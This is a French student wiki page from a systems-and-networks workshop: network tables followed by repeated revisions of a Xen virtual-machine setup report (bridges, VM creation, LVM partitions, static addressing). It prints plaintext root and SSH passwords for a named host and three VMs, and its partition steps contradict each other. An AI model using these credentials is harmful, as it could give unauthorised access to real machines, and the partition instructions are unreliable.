= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 ||
|-
| Routeur C9200-E306 ||
|-
| Borne Wi-Fi E304 ||
|-
| Borne Wi-Fi E306 ||
|-
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

Atelier SysRes SE4 2025/2026 E5

2026-01-26T10:15:43Z

Cpayet : /* Configuration réseau */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.3/24
gateway 172.60.0.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.162
iface eth1 inet6 auto
</syntaxhighlight>

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf :</code><syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH ====

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-01-26T10:09:30Z

Cpayet : /* Configuration réseau */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.3/24
gateway 172.60.0.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.162
iface eth1 inet6 auto
</syntaxhighlight>

==== Configuration réseau ====

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf :</code><syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-01-26T09:53:57Z

Cpayet : /* Configuration réseau */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.3/24
gateway 172.60.0.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.161
iface eth1 inet6 auto
</syntaxhighlight>

==== Configuration réseau ====

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-01-26T09:51:01Z

Cpayet : /* XEN */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
